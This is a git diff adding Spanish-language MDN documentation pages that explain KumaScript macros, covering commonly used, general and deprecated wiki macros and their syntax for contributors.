+<p>{{TemplateLink("Previous")}}, {{TemplateLink("Next")}} y {{TemplateLink("PreviousNext")}} proporcionan controles de navegación para artículos que forman parte de secuencias. Para las plantillas unidireccionales, el único parámetro necesario es la ubicación wiki del artículo anterior o siguiente de la secuencia. Para {{TemplateLink("PreviousNext")}}, los dos parámetros necesarios son las ubicaciones wiki de los artículos correspondientes. El primer parámetro es para el artículo anterior y el segundo es para el artículo siguiente.</p>
+
+<h2 id="Ejemplos_de_código">Ejemplos de código</h2>
+
+<h3 id="Ejemplos_en_vivo">Ejemplos en vivo</h3>
+
+<ul>
+ <li>{{TemplateLink("EmbedLiveSample")}} te permite insertar la salida de un ejemplo de código en una página, como se describe en {{web.link("/es/docs/MDN/Contribute/Structures/Live_samples", "Ejemplos en vivo")}}.</li>
+ <li>{{TemplateLink("LiveSampleLink")}} crea un vínculo a una página que contiene el resultado de un ejemplo de código en una página, como se describe en {{web.link("/es/docs/MDN/Contribute/Structures/Live_samples", "Ejemplos en vivo")}}.</li>
+</ul>
+
+<h2 id="Generar_la_barra_lateral">Generar la barra lateral</h2>
+
+<p>Hay plantillas para casi todas las grandes colecciones de páginas. Por lo general, enlazan a la página principal de <code>reference/guide/tutorial</code> (esto, a menudo es necesario porque nuestras rutas de navegación a veces no lo pueden hacer) y colocan el artículo en la categoría apropiada.</p>
+
+<ul>
+ <li>{{TemplateLink("CSSRef")}} genera la barra lateral para las páginas de referencia CSS.</li>
+ <li>{{TemplateLink("HTMLRef")}} genera la barra lateral para las páginas de referencia HTML.</li>
+ <li>{{TemplateLink("APIRef")}} genera la barra lateral para las páginas de referencia de la API web.</li>
+</ul>
+
+<h2 id="Formato_de_propósito_general">Formato de propósito general</h2>
+
+<h3 id="Indicadores_en_línea_para_documentación_de_APIs">Indicadores en línea para documentación de APIs</h3>
+
+<p>{{TemplateLink("optional_inline")}} y {{TemplateLink("ReadOnlyInline")}} se utilizan en la documentación de la API, normalmente cuando se describe la lista de propiedades de un objeto o parámetros de una función.</p>
+
+<p>Uso: <code>\{{Optional_Inline}}</code> o <code>\{{ReadOnlyInline}}</code>. Ejemplo:</p>
+
+<dl>
+ <dt><code>isCustomObject</code>{{ReadOnlyInline}}</dt>
+ <dd>Indica, si es <code>true</code>, que el objeto es personalizado.</dd>
+ <dt><code>parameterX</code>{{Optional_Inline}}</dt>
+ <dd>Blah blah blah...</dd>
+</dl>
+
+<h2 id="Indicadores_de_estado_y_compatibilidad">Indicadores de estado y compatibilidad</h2>
+
+<h3 id="Indicadores_en_línea_sin_parámetros_adicionales">Indicadores en línea sin parámetros adicionales</h3>
+
+<h4 id="Non-standard"><code>Non-standard</code></h4>
+
+<p>{{TemplateLink("Non-standard_Inline")}} inserta una marca en línea que indica que la API no se ha estandarizado y no está en un seguimiento de estándares.</p>
+
+<h5 id="Sintaxis">Sintaxis</h5>
+
+<p><code>\{{Non-standard_Inline}}</code></p>
+
+<h5 id="Ejemplos">Ejemplos</h5>
+
+<ul>
+ <li>Icono: {{Non-standard_Inline}}</li>
+</ul>
+
+<h4 id="Experimental">Experimental</h4>
+
+<p>{{TemplateLink("experimental_inline")}} inserta una marca en línea que indica que la API no está ampliamente implementada y puede cambiar en el futuro.</p>
+
+<h5 id="Sintaxis_2">Sintaxis</h5>
+
+<p><code>\{{Experimental_Inline}}</code></p>
+
+<h5 id="Ejemplos_2">Ejemplos</h5>
+
+<ul>
+ <li>Icon: {{Experimental_Inline}}</li>
+</ul>
+
+<h3 id="Indicadores_en_línea_que_apoyan_la_especificación_de_la_tecnología">Indicadores en línea que apoyan la especificación de la tecnología</h3>
+
+<p>En estas macros, el parámetro (cuando se especifica) debe ser una de las cadenas "html", "js", "css" o "gecko", seguida del número de versión.</p>
+
+<h4 id="Desaprobado">Desaprobado</h4>
+
+<p>{{TemplateLink("Deprecated_Inline")}} inserta una marca desaprobado en línea (<code>Deprecated_Inline</code>) para desalentar el uso de una API que oficialmente está en desuso. <strong>Nota</strong>: "Desaprobado" significa que el elemento ya no se debe utilizar, pero sigue funcionando. Si quieres decir que ya no funciona, utiliza el término "obsoleto".</p>
+
+<p>No utilices el parámetro en ningún área independiente del navegador (HTML, API, JS, CSS, …).</p>
+
+<h5 id="Sintaxis_3">Sintaxis</h5>
+
+<p><code>\{{Deprecated_Inline}}</code> o <code>\{{Deprecated_Inline("gecko5")}}</code></p>
+
+<h5 id="Ejemplos_3">Ejemplos</h5>
+
+<ul>
+ <li>Icon: {{Deprecated_Inline}}</li>
+ <li>Insignia: {{Deprecated_Inline("gecko5")}}</li>
+</ul>
+
+<h4 id="Obsoleto">Obsoleto</h4>
+
+<p>{{TemplateLink("Obsolete_Inline")}} inserta una marca de obsoleto en línea (<code>Deprecated_Inline</code>) para evitar el uso de, por ejemplo, una función, método o propiedad que oficialmente es obsoleto.</p>
+
+<p>No utilices el parámetro en ningún área independiente del navegador (HTML, API, JS, CSS, …).</p>
+
+<h5 id="Sintaxis_4">Sintaxis</h5>
+
+<p><code>\{{Obsolete_Inline}}</code> u <code>\{{Obsolete_Inline("js1.8.5")}}</code></p>
+
+<h5 id="Ejemplos_4">Ejemplos</h5>
+
+<ul>
+ <li>Icon: {{Obsolete_Inline}}</li>
+ <li>Badge: {{Obsolete_Inline("js1.8.5")}}</li>
+</ul>
+
+<h3 id="Plantilla_de_insignias">Plantilla de insignias</h3>
+
+<p>Estas macros se utilizan principalmente en la página {{web.link("/es/docs/Web/API", "WebAPI")}}. Consulta {{anch("Creación de nuevas insignias")}} para obtener información sobre cómo crear una nueva insignia (<code>Badge</code>).</p>
+
+<h3 id="Indicadores_de_encabezado_de_página_o_sección">Indicadores de encabezado de página o sección</h3>
+
+<p>Estas plantillas tienen la misma semántica que sus contrapartes en línea descritas anteriormente. Las plantillas se deben colocar directamente debajo del título de la página principal (o la ruta de navegación si está disponible) en la página de referencia. También se pueden utilizar para marcar una sección en una página.</p>
+
+<ul>
+ <li>{{TemplateLink("Non-standard_Header")}}: <code>\{{Non-standard_Header}}</code> {{Non-standard_Header}}</li>
+ <li>{{TemplateLink("SeeCompatTable")}} se debe usar en páginas que documentan {{web.link("/es/docs/MDN/Contribute/Guidelines/Conventions_definitions#Experimental", "características experimentales")}}. Ejemplo: <code>\{{SeeCompatTable}}</code> {{SeeCompatTable}}</li>
+ <li>{{TemplateLink("Deprecated_Header")}}: <code>\{{Deprecated_Header}}</code> {{Deprecated_Header}}</li>
+ <li>{{TemplateLink("Deprecated_Header")}} con parámetro: <code>\{{Deprecated_Header("gecko5")}}</code> {{Deprecated_Header("gecko5")}} No utilices el parámetro en ninguna área de diagnóstico del navegador (HTML, APIs, JS, CSS, …).</li>
+ <li>{{TemplateLink("Obsolete_Header")}}: <code>\{{Obsolete_Header}}</code> {{Obsolete_Header}}</li>
+ <li>{{TemplateLink("Obsolete_Header")}} con parámetro: <code>\{{Obsolete_Header("gecko30")}}</code> {{Obsolete_Header("gecko30")}} No utilice el parámetro en ninguna área de diagnóstico del navegador (HTML, APIs, JS, CSS, …).</li>
+ <li>{{TemplateLink("secureContext_header")}}: <code>\{{SecureContext_Header}}</code> {{SecureContext_Header}}</li>
+</ul>
+
+<h3 id="Indica_que_una_función_está_disponible_en_workers_web">Indica que una función está disponible en <code>workers</code> web</h3>
+
+<p>La macro {{TemplateLink("AvailableInWorkers")}} inserta un cuadro de nota localizado que indica que una función está disponible en el contexto de {{web.link("/es/docs/Web/API/Web_Workers_API", "workers web")}}.</p>
+
+<p>{{AvailableInWorkers}}</p>
diff --git a/files/es/mdn/structures/macros/index.html b/files/es/mdn/structures/macros/index.html
new file mode 100644
index 0000000000..807059cfd9
--- /dev/null
+++ b/files/es/mdn/structures/macros/index.html
@@ -0,0 +1,53 @@
+---
+title: Macros
+slug: MDN/Structures/Macros
+tags:
+  - Estructuras
+  - Guide
+  - Guía
+  - Kuma
+  - KumaScript
+  - MDN Meta
+  - Structures
+  - TopicStub
+translation_of: MDN/Structures/Macros
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">La plataforma {{web.link("/es/docs/Project:MDN/Kuma#Herramientas_y_tareas", "Kuma")}} en la que se ejecuta MDN proporciona un potente sistema de macros, {{web.link("/es/docs/MDN/Contribute/Tools/KumaScript", "KumaScript")}}, estas te permiten hacer una amplia variedad de cosas de forma automática. Este artículo proporciona información sobre cómo invocar macros de MDN dentro de los artículos.</span></p>
+
+
+
+<p>La {{web.link("/es/docs/MDN/Contribute/Tools/KumaScript", "guía de KumaScript")}} profundiza en cómo usar macros en MDN, por lo que esta sección es más una breve descripción general.</p>
+
+<h2 id="Cómo_se_implementan_las_macros">Cómo se implementan las macros</h2>
+
+<p>Las macros en MDN se implementan usando código {{web.link("/es/docs/Web/JavaScript", "JavaScript")}} ejecutado por el servidor, interpretado usando <a href="https://nodejs.org/es/" title="https://nodejs.org/es/">Node.js</a>. Además de eso, tenemos una serie de bibliotecas que hemos implementado que brindan servicios y funciones orientados a wiki para permitir que las macros interactúen con la plataforma wiki y su contenido. Si estás interesado en obtener más información, consulta {{web.link("/es/docs/MDN/Contribute/Tools/KumaScript", "Guía de KumaScript")}}.</p>
+
+<h2 id="Usar_una_macro_en_el_contenido">Usar una macro en el contenido</h2>
+
+<p>Para usar realmente una macro, simplemente encierra la llamada a la macro entre un par de llaves dobles, con sus parámetros, si los hay, entre paréntesis; es decir:</p>
+
+<pre class="notranslate">\{{nombremacro(lista-de-parametros)}}</pre>
+
+<p>Algunas notas sobre las llamadas de macro:</p>
+
+<ul>
+ <li>Los nombres de macro distinguen entre mayúsculas y minúsculas, pero se intentas corregir los errores comunes de uso de mayúsculas; puedes usar todo en minúsculas incluso si el nombre de la macro usa mayúsculas dentro de él, y puedes poner en mayúscula una macro cuyo nombre normalmente comienza con una letra minúscula.</li>
+ <li>Los parámetros están separados por comas.</li>
+ <li>Si no hay parámetros, puedes omitir los paréntesis por completo; <code>\{{nombremacro()}}</code> y <code>\{{nombremacro}}</code> son idénticos.</li>
+ <li>Los parámetros numéricos pueden estar entre comillas o no. Depende de ti (sin embargo, si tienes un número de versión con varios decimales, debe estar entre comillas).</li>
+ <li>Si recibes errores, revisa tu código detenidamente. Si aún no puedes averiguar qué está pasando, consulta {{web.link("/es/docs/MDN/Kuma/Troubleshooting_KumaScript_errors", "Solución de errores de KumaScript")}} para obtener ayuda.</li>
+</ul>
+
+<p>Las macros están almacenadas en caché; para cualquier conjunto de valores de entrada (tanto parámetros como valores del entorno, tal como la URL para la que se ejecutó la macro), los resultados se almacenan y reutilizan. Esto significa que la macro solo se ejecuta realmente cuando cambian las entradas.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes forzar la reevaluación de todas las macros de una página si fuerzas la actualización de la página en tu navegador (es decir, una recarga).</p>
+</div>
+
+<p>Las macros pueden ser tan simples como insertar un bloque de texto más grande o intercambiar contenido de otra parte de MDN, o tan complejas como crear un índice completo de contenido buscando en partes del sitio, estilizando el resultado y agregando enlaces.</p>
+
+<p>Puedes leer sobre las macros más utilizadas en {{web.link("/es/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros", "Página de macros usadas comúnmente")}}; también, hay una {{web.link("/es/docs/templates", "lista completa de todas las macros")}}. La mayoría de las macros tienen documentación incorporada, como comentarios en la parte superior.</p>
+
+<p>{{EditorGuideQuickLinks}}</p>
diff --git a/files/es/mdn/structures/macros/otras/index.html b/files/es/mdn/structures/macros/otras/index.html
new file mode 100644
index 0000000000..532bc07fdc
--- /dev/null
+++ b/files/es/mdn/structures/macros/otras/index.html
@@ -0,0 +1,181 @@
+---
+title: Otras macros
+slug: MDN/Structures/Macros/Otras
+tags:
+  - Macros
+  - Referencia
+translation_of: MDN/Structures/Macros/Other
+---
+<div>{{MDNSidebar}}</div>
+
+<p>A diferencia de las macros enumeradas en {{web.link("/es/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros", "Macros usadas comúnmente")}}, las macros documentadas en este artículo se usan con poca frecuencia o solo en contextos específicos, o están en desuso.</p>
+
+<h2 id="Contextos_especiales">Contextos especiales</h2>
+
+<p>Estas macros se utilizan solo con contextos particulares, como una referencia de API específica.</p>
+
+<ul>
+ <li>{{TemplateLink("jsapixref")}} enlaza a una página en la {{web.link("/es/docs/SpiderMonkey/JSAPI_Reference", "Referencia de JSAPI")}}.</li>
+ <li>{{TemplateLink("XPCOMxref")}} enlaza a una página en la referencia de XPCOM. Puedes especificar el nombre de una función, clase, componente o interfaz XPCOM (aunque para esta última, en su lugar, debes usar {{TemplateLink("interface")}}). Esta macro encontrará la página y creará un enlace a ella, donde sea que esté en el subárbol de la referencia de XPCOM.</li>
+ <li>{{TemplateLink("npapi")}} enlaza a la {{web.link("/es/docs/Gecko_Plugin_API_Reference", "Referencia de la API del complemento Gecko")}}.</li>
+ <li>{{TemplateLink("interface")}} se puede usar cuando se vincula a interfaces XPCOM.<br>
+  Ejemplo: <code>\{{interface ("nsIIOService")}}</code> da como resultado: {{Interface("nsIIOService")}}.</li>
+ <li>{{TemplateLink("ifmethod")}} e {{TemplateLink("ifattribute")}} te permiten crear un enlace a un método o atributo (respectivamente) en particular en una interfaz de Mozilla que se ha creado usando nuestro {{web.link("/es/docs/MDN/Contribute/Howto/Write_interface_reference_documentation", "formato estándar para la documentación de la interfaz")}}. Por ejemplo, <code>\{\{ifmethod("nsIAutoCompleteSearch", "stopSearch")\}\}</code> aparece como {{ifmethod("nsIAutoCompleteSearch", "stopSearch")}}. Ten en cuenta que para {{TemplateLink("ifattribute")}}, <code>id="..."</code> se debe agregar explícitamente en el destino, ya que los atributos no tienen encabezados.</li>
+ <li>{{TemplateLink("Interwiki")}} facilita la creación de enlaces Interwiki. Actualmente admite enlaces a Wikipedia y Wikimo. El primer parámetro es el nombre de la wiki ("wikipedia" o "wikimo") y el segundo es la ruta del artículo. Por ejemplo, <code>\{\{interwiki("wikipedia", "Firefox")\}\}</code> aparece como {{Interwiki("wikipedia", "Firefox")}}. Esta plantilla automáticamente detecta el idioma de la página y lo dirige al mismo idioma en Wikipedia, por ejemplo.</li>
+ <li>{{TemplateLink("RFC")}} crea un enlace al RFC especificado, dado su número. La sintaxis es simplemente: <code>\{\{RFC(número)\}\}</code>. Por ejemplo, <code>\{\{RFC(2616)\}\}</code> se convierte en {{RFC(2616)}}.</li>
+</ul>
+
+<h3 id="Componentes_de_la_página_destino">Componentes de la página destino</h3>
+
+<p>Tenemos una variedad de macros que se pueden utilizar para generar automáticamente el contenido de las páginas destino. Aquí están.</p>
+
+<h4 id="Listas_de_subpáginas">Listas de subpáginas</h4>
+
+<ul>
+ <li>{{TemplateLink("ListSubpages")}} genera una lista desordenada de enlaces a todos los hijos inmediatos de la página actual; útil para generar automáticamente tablas de contenido para conjuntos de documentación.</li>
+ <li>{{TemplateLink("LandingPageListSubpages")}} genera una lista de definición de dos columnas de todas las subpáginas inmediatas de la página actual, con sus títulos como {{HTMLElement("dt")}} y su resumen SEO como {{HTMLElement("dd")}}. Esto facilita la generación automática de páginas destino razonablemente atractivas.</li>
+ <li>{{TemplateLink("NavListWithPrioritizedPages")}} genera una lista ordenada formateada correctamente para su uso en una zona de barra de navegación lateral (o enlaces rápidos). Como entrada, puedes especificar cero o más enlaces amigables de página que se deben sacar de la lista principal y, en su lugar, insertarse en la parte superior de la lista, en el orden dado. Todas las páginas restantes se colocan alfabéticamente en la lista. Se incluye un nivel de subpáginas.</li>
+ <li>{{TemplateLink("APIListAlpha")}} crea una lista de las subpáginas de la página actual, formateada como una lista de términos de la API, dividida por la primera letra. Hay tres parámetros. El primero es 0 si deseas incluir todas las subpáginas de nivel superior o 1 para omitir las subpáginas con "." en sus nombres. El segundo y el tercero te permiten agregar texto para mostrar como parte del nombre en cada enlace. Esto se puede usar para agregar "&lt;" y "&gt;" para los enlaces de elementos, o para agregar "()" al final de las listas de nombres de métodos.</li>
+ <li>{{TemplateLink("SubpagesWithSummaries")}} construye una lista de definiciones de todos los hijos inmediatos de la página actual. No se ha realizado ningún otro formateo. Puedes obtener una lista de dos columnas preparada para usar como página destino de varias columnas mediante {{TemplateLink("LandingPageListSubpages")}}.</li>
+</ul>
+
+<h3 id="Enlaces_rápidos">Enlaces rápidos</h3>
+
+<p>Tenemos algunas macros diseñadas específicamente para crear {{web.link("/es/docs/MDN/Contribute/Style_guide/Quicklinks", "enlaces rápidos")}}:</p>
+
+<ul>
+ <li>La macro {{TemplateLink("MakeSimpleQuicklinks")}} crea una lista plana de enlaces en el cuadro de enlaces rápidos. Simplemente dale un conjunto de rutas a las páginas destino como argumentos de entrada. El texto de cada enlace es el título de la página y cada enlace tiene una información sobre herramientas derivada del resumen de la página.</li>
+ <li>{{TemplateLink("QuickLinksWithSubpages")}} crea un conjunto de enlaces rápidos compuestos por las páginas debajo de la página actual (o la página especificada, si se proporciona una). En total, se generan hasta dos niveles de profundidad.</li>
+</ul>
+
+<h2 id="Usadas_con_poca_frecuencia">Usadas con poca frecuencia</h2>
+
+<ul>
+ <li id="Template.3Aoutdated">{{TemplateLink("outdated")}} se puede usar para marcar páginas que se sabe que están (o que podrían estar) horriblemente desactualizadas. La plantilla va seguida de un parámetro opcional, que se puede utilizar para proporcionar detalles. Por ejemplo: <code>\{\{outdated("Se actualizó por última vez en 1999")\}\}</code> te da esto: {{outdated("Se actualizó por última vez en 1999.")}}</li>
+ <li>{{TemplateLink("disambig")}} se usa en las pocas páginas de desambiguación que tenemos. No utilices esta macro en las páginas de desambiguación del glosario; en su lugar, utiliza la macro {{TemplateLink("GlossaryDisambiguation")}}.</li>
+ <li>{{TemplateLink("block-title")}} se puede utilizar para crear texto en negrita que visualmente sirve como título para un bloque en una página, no aparece en la tabla de contenido generada automáticamente y puede actuar como un enlace para apuntar tal como lo hacen los encabezados. La sintaxis es: <code>\{\{block-title(<em>título</em>)\}\}</code>, donde <code><em>título</em></code> es lo que quieras que se muestre. <code><em>título</em></code> también sirve como destino para los enlaces a la sección que estás titulando. {{TemplateLink("block-title")}} está diseñado para usarse en titulación {{anch("Plantilla: nota al margen")}}, tablas, imágenes y bloques de código, particularmente en lugares a los que te referirás en el artículo más de una vez o en lugares no cercanos al artículo en sí mismo.</li>
+ <li>{{TemplateLink("ref")}} y {{TemplateLink("endnote")}} se pueden utilizar para implementar notas a pie de página en los artículos. El "número" de la nota al pie se crea usando <code>\{\{ref("algo")\}\}</code>, dónde <code><em>algo</em></code> debería ser una palabra descriptiva adecuada para todo lo que se menciona en la nota al pie. Luego, al final del documento, inserta <code>\{\{endnote("algo")\}\} Blah blah, texto para la primera nota al pie</code> para crear una lista numerada para la información de las notas al pie.</li>
+ <li>{{TemplateLink("ReleaseChannelInfo")}} se utiliza para crear el encabezado estándar en la parte superior de las páginas de "Firefox X para desarrolladores" para un determinado canal; se necesitan cuatro parámetros: la versión de Firefox, la versión de Gecko, una cadena que indica una fecha de lanzamiento prevista y el nombre del canal en el que se puede descargar el lanzamiento actualmente.</li>
+ <li>{{TemplateLink("InsertFeedLinkList")}} genera una lista de enlaces de una fuente RSS. Sus parámetros configuran la salida de manera significativa:
+  <ul>
+   <li>URL para el canal</li>
+   <li>Número máximo de entradas para incluir en la salida</li>
+   <li>El nivel de encabezado que se usará para el nombre del canal o 0 para dejar ese encabezado</li>
+   <li>Nombre de la clase que se utilizará al crear la lista; esto se aplicará al elemento {{HTMLElement("ul")}}.</li>
+   <li>Tipo de lista; este es un valor entero. 0 produce una lista de viñetas simple, mientras que 1 genera un encabezado para el título de la página seguido de un párrafo con una línea de autor.</li>
+   <li>El nivel de título que se utilizará para los elementos de la lista cuando se utilice el tipo de lista 1.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Transclusión">Transclusión</h3>
+
+<p>La <strong>transclusión</strong> es la incorporación de parte o la totalidad de una página en otra. Ten cuidado al utilizar esta macro, para asegurarte de que el contenido transcluido tenga sentido en el contexto de la página en la que está incorporado.</p>
+
+<p>{{TemplateLink("page")}} te permite incrustar parte o la totalidad de una página específica en un documento. Acepta cinco parámetros:</p>
+
+<ol>
+ <li>La URI de la página que se va a transcluir. Por ejemplo, "/es/docs/Project:MDN/About".</li>
+ <li>El nombre de la sección dentro de la página que se va a incluir. Esto se puede especificar como la cadena de título o como el ID de un bloque a copiar. Si no se especifica, se transcluye todo el artículo. {{optional_inline}}</li>
+ <li>El número de revisión de la versión de la página que se va a incluir. Esta función no está implementada actualmente, pero permitiría incluir texto de versiones específicas de un artículo. {{unimplemented_inline}}</li>
+ <li>Un valor booleano que indica si se muestra o no el encabezado de la sección de nivel superior que se está transcluyendo. Esto es útil si deseas especificar tu propio título. El valor predeterminado es falso, lo cual significa que el encabezado no se incluye de forma predeterminada. {{optional_inline}}</li>
+ <li>El nivel de título que se utilizará como nivel de título superior. Esto ajusta el primer nivel descubierto más externo del contenido transcluido al número especificado, y todos los demás encabezados correspondientemente. Esto te permite incluir contenido que tiene sus propios títulos, pero ajustarlos para que coincidan con el nivel de título en el que los estás incluyendo. Si no especificas este valor, los títulos no se ajustan. {{unimplemented_inline}}</li>
+</ol>
+
+<h4 id="Ejemplo_sin_título">Ejemplo sin título</h4>
+
+<p>\{{Page("/es/docs/MDN/About", "Acerca de Mozilla")}}</p>
+
+<p>Resultado:</p>
+
+<p>{{Page("/es/docs/MDN/About", "Acerca de Mozilla")}}</p>
+
+<h4 id="Ejemplo_con_encabezado">Ejemplo con encabezado</h4>
+
+<p>\{{Page("/es/docs/MDN/About", "Acerca de Mozilla", 0, 1)}}</p>
+
+<p>Resultado:</p>
+
+<p>{{Page("/es/docs/MDN/About", "Acerca de Mozilla", 0, 1)}}</p>
+
+<h3 id="Creando_nuevas_insignias">Creando nuevas insignias</h3>
+
+<p>También tenemos insignias que no tienen iconos con burbujas. La plantilla genérica para esto es {{TemplateLink("SimpleBadge")}}, que acepta tres parámetros:</p>
+
+<ol>
+ <li>Texto para mostrar en la insignia.</li>
+ <li>Nombre de una clase CSS que se utilizará como fondo de la insignia.</li>
+ <li>(Opcional) Texto para mostrar en una información sobre herramientas al pasar el cursor sobre la insignia.</li>
+</ol>
+
+<h2 id="Desaprobado">Desaprobado</h2>
+
+<p>Estas macros han sido reemplazadas por otras formas de hacer lo mismo y ya no se deberían usar. Si los encuentras en artículos existentes, reemplázalos.</p>
+
+<h3 id="Enlaces">Enlaces</h3>
+
+<ul>
+ <li>La macro {{TemplateLink("anch")}} inserta un enlace a un ancla. <code class="nowiki">\{\{anch("top")\}\}</code> produce <code class="nowiki">&lt;a href="#top"&gt;top&lt;/a&gt;</code> ({{anch("top")}}). También puedes agregar un segundo parámetro que contiene texto de reemplazo para mostrar como texto del enlace. \{{anch("Otras insignias", "puedes usar otras insignias")}} produce este resultado: {{anch("Otras insignias", "puedes usar otras insignias")}}. La idea era crear una plantilla que permitiera vincular fácilmente a otras secciones de un documento. <strong>Reemplazo</strong>: usa el botón de la barra de herramientas de anclaje en la interfaz del editor. <em>Esto realmente no es un "reemplazo" y existe cierta discusión sobre si esto está realmente desaprobado en este momento</em>.</li>
+ <li>La macro {{TemplateLink("SectionOnPage")}} crea una frase que enlaza tanto con el nombre de una sección como con el artículo que contiene esa sección. Por ejemplo, <code>\{{SectionOnPage("/es/docs/Mozilla/Firefox/Releases/21", "Cambios para desarrolladores web")}}</code> genera lo siguiente: <em>{{SectionOnPage("/es/docs/Mozilla/Firefox/Releases/21", "Cambios para desarrolladores web")}}</em>.</li>
+ <li>La macro {{TemplateLink("manch")}} inserta un enlace a un método dentro de la interfaz actual; esto está destinado únicamente para su uso en las páginas de documentación de la interfaz. <code>\{\{manch("foo")\}\}</code> produce <code>&lt;code&gt;&lt;a href="ruta/actual#foo"&gt;foo()&lt;/a&gt;&lt;/code&gt;</code> ({{manch("foo")}}).</li>
+ <li>La macro {{TemplateLink("Link")}} inserta un enlace a la página especificada en MDN, usando el título de la página como la cadena visible para hacer clic, y la información sobre herramientas extraída del resumen SEO de la página.</li>
+ <li>La macro {{TemplateLink("LinkItem")}} inserta un enlace a una URL especificada, con el texto indicado como la cadena visible para hacer clic. El enlace automáticamente recoge como información sobre herramientas el resumen de la página destino. Esto difiere de {{TemplateLink("Link")}} en que debe especificar el título.</li>
+ <li>La macro {{TemplateLink("LinkItemDL")}} inserta un enlace a una URL especificada, con el texto indicado como {{HTMLElement("dt")}} que también es el enlace. El elemento {{HTMLElement("dd")}} contiene el resumen de la página especificada.</li>
+ <li>{{TemplateLink("funcref")}} crea enlaces a funciones globales (generalmente de C++) documentadas en páginas de nivel superior. Sin embargo, estas páginas ya no se crean en el nivel superior de MDN.</li>
+ <li>{{TemplateLink("Pref")}} inserta un enlace a la entrada en {{web.link("/es/docs/Mozilla/Preferences/Preference_reference", "Referencia de preferencia")}} para la preferencia especificada.</li>
+ <li>{{TemplateLink("spec")}} inserta un enlace a una especificación. <strong>Reemplazo</strong>: utiliza {{TemplateLink("spec2")}} o {{TemplateLink ("SpecName")}} en su lugar.</li>
+ <li>{{TemplateLink("source")}} te permite vincular a un archivo de código fuente de Mozilla sin tener que escribir una URL MXR larga usando esta sintaxis: <code>\{\{source("browser/Makefile.in")\}\}</code>. Esto te da: {{source("browser/Makefile.in")}}. El texto del enlace es la ruta proporcionada; si deseas un texto diferente, proporciona un segundo parámetro, así: <code>\{\{source("browser/Makefile.in", "the browser/Makefile.in")\}\}</code> , que produce {{source("browser/Makefile.in", "the browser/Makefile.in")}}. Ten en cuenta que el enlace será a la última versión del archivo en código de última generación.</li>
+ <li>{{TemplateLink("source_cvs")}} funciona igual que {{TemplateLink("source")}}, excepto que enlaza con {{web.link("/es/docs/Developer_Guide/Source_Code/CVS", "repositorio CVS")}} en lugar del más nuevo {{web.link("/es/docs/mozilla-central", "mozilla-central")}} uno.</li>
+ <li>{{TemplateLink("LXRSearch")}} se puede utilizar para crear una URL de búsqueda LXR.</li>
+</ul>
+
+<h3 id="Ejemplos_de_código">Ejemplos de código</h3>
+
+<p>Las siguientes macros se usaron antes de la implementación del {{web.link("/es/docs/MDN/Contribute/Structures/Live_samples", "sistema de ejemplo en vivo")}} integrado en Kuma, y se deben reemplazar por usos de {{TemplateLink("EmbedLiveSample")}} o {{TemplateLink("LiveSampleLink")}}.</p>
+
+<ul>
+ <li>{{TemplateLink("LiveSample")}} te permite crear un botón que se vincule a un archivo de ejemplo; estos ejemplos se enviaron a <a class="link-mailto" href="mailto:eshepherd@mozilla.com" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a> para su carga. Estos se utilizaron en las páginas de referencia cuando se vinculan a páginas de muestra independientes y en vivo. La plantilla acepta un parámetro, el nombre del archivo HTML al que enlazar.</li>
+ <li>{{TemplateLink("CSSLiveSample")}} te permite crear un botón que se vincule a una muestra en la Referencia CSS; estos ejemplos se enviaron a <a class="link-mailto" href="mailto:eshepherd@mozilla.com" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a> para su carga. Estos se utilizaron en las páginas de referencia de CSS cuando se vinculan a páginas de ejemplo independientes y en vivo. La plantilla acepta un parámetro, el nombre del archivo HTML al que enlazar.</li>
+ <li>{{TemplateLink("DOMLiveSample")}} te permite crear un botón que se vincule a una ejemplo en la Referencia DOM; estos ejemplos se enviaron a <a class="link-mailto" href="mailto:eshepherd@mozilla.com" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a> para su carga. Estas se utilizaron en las páginas de referencia DOM al vincular a páginas de ejemplos independientes y en vivo. La plantilla acepta un parámetro, el nombre del archivo HTML al que enlazar.</li>
+ <li>{{TemplateLink("HTMLLiveSample")}} te permite crear un botón que enlace a una ejemplo en la Referencia HTML; estos ejemplos se enviaron a <a class="link-mailto" href="mailto:eshepherd@mozilla.com" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a> para su carga. Estos se utilizaron en páginas de referencia HTML al vincular a páginas de ejemplos independientes y en vivo. La plantilla acepta un parámetro, el nombre del archivo HTML al que enlazar.</li>
+ <li>{{TemplateLink("SVGLiveSample")}} te permite crear un botón que se vincule a un ejemplo en la Referencia DOM; estos ejemplos se enviaron a <a class="link-mailto" href="mailto:eshepherd@mozilla.com" title="mailto:eshepherd@mozilla.com">Eric Shepherd</a> para su carga. Estos se utilizaron en las páginas de referencia SVG al vincular a páginas de ejemplos independientes y en vivo. La plantilla acepta un parámetro, el nombre del archivo HTML al que enlazar.</li>
+ <li>{{TemplateLink("JSFiddleLink")}} te permite crear fácilmente un botón que enlace a un ejemplo en el <a class="external" href="http://jsfiddle.net" title="http://jsfiddle.net/">sitio web jsFiddle</a>. Estos <strong>NO</strong> se deben usar para reemplazar los ejemplos en línea o los ejemplos cargados por MDC, sino para ofrecer acceso a ejemplos secundarios con los que los lectores pueden experimentar. La plantilla acepta un parámetro, la etiqueta de identificación del elemento jsFiddle a vincular.</li>
+</ul>
+
+<h3 id="Organizacional">Organizacional</h3>
+
+<ul>
+ <li>{{TemplateLink("LockedPage")}} inserta una barra de marcas en la página que proporciona una explicación de por qué una página está bloqueada. Esta macro está obsoleta porque Kuma no admite el bloqueo de páginas.</li>
+ <li>{{TemplateLInk("jsapi_ref_header")}} se utilizó para crear rutas de navegación para la JSAPI referenciada; esto ahora lo hace Kuma, no una macro.</li>
+</ul>
+
+<h3 id="Formateo">Formateo</h3>
+
+<ul>
+ <li>{{TemplateLink("Note")}} inserta un bloque de "nota" con un formato especial en el texto del artículo. Esto tiene la intención de resaltar un hecho interesante o importante. <strong>Reemplazo</strong>: Usa el estilo <code>Note box</code> en la barra de herramientas del Editor.</li>
